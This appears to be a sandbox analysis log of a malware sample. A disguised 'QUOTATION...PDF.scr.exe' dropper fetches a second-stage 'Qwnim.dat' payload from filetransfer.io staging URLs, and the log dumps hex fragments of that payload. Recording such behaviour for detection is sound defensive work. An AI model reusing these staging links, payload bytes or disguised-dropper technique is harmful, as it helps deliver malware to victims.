{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UQZM7NshRsYZFQ%2BVf7wVgf4seE%2FvBS1GE0OqwZDvLg65DENYvEteMOx6QZHKsAtdtPxUWhT6%2F52ln4%2Bsg%2BznXj2C1N%2Ft8gYunTcs7gHCrxU%2BqdCQozwXgvd4qwJ3yk%2FhdrA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd421398b5778d0-EWR alt-svc: h3=":443"; ma=86400
2024-10-04 09:26:21 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 66 35 6c 34 4b 7a 41 50 63 4c 46 4e 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/f5l4KzAPcLFN">Please click here to continue</a>.</p>
2024-10-04 09:26:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50269	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:21 UTC	98	OUT	GET /storage/download/f5l4KzAPcLFN HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:22 UTC	1024	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:22 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=8ce4e916cc15a091a29186decfa2573b; expires=Fri, 18-Oct-2024 09:26:22 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8X59iSRex20PK9rjByNOJ6q9hlw%2FgMCn%2BhYA5WGPtZVW4bjDSvzj%2BV%2B9uwcNdFO1WRai2co54LHuDib3dtdGyhq6EO8JQzma1xryqKIXUJjhmHBmiZ5B%2B9KYbhr0S3dkheNQN3Ce"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd421418e0042e8-EWR
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:26:22 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50272	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:24 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:25 UTC	1064	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:26:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=aro6am0tidtqet1vajrmuo7q0a; expires=Fri, 18-Oct-2024 09:26:25 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/EYxNoMbJWmad CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r0MPtdnG2OTF%2BEH%2FBGejJ793zwvX8fcMkLXignUJ7zqIvXkxZ63oPuCp68m9IUfDcYKximz2OR5SO8V3KOXpI3zi8vwNAM6DFuvjV9x2rzYCrsuvFVizOIXhDfaXXGVfOCk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42156395f4378-EWR
2024-10-04 09:26:25 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 45 59 78 4e 6f 4d 62 4a 57 6d 61 64 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/EYxNoMbJWmad">Please click here to continue</a>.</p>
2024-10-04 09:26:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50273	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:26:26 UTC	98	OUT	GET /storage/download/EYxNoMbJWmad HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:26:27 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:26:26 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=8262c3ad5d66c064a92602f14644bb9e; expires=Fri, 18-Oct-2024 09:26:26 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MHqgR9or0ROsHUsoot7v7Ss3al2dPYURefFNpSOsYkqz9q0VKSc1GmYe75JjZn7Qi0jCvY7gT1d4odWiYEWzNd6gpheHuqzN5gA0skZAhfMSua%2F%2BpAv3HdqVauGl0ARiBfCMD9Zq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd4215ea99d4319-EWR
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:26:27 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 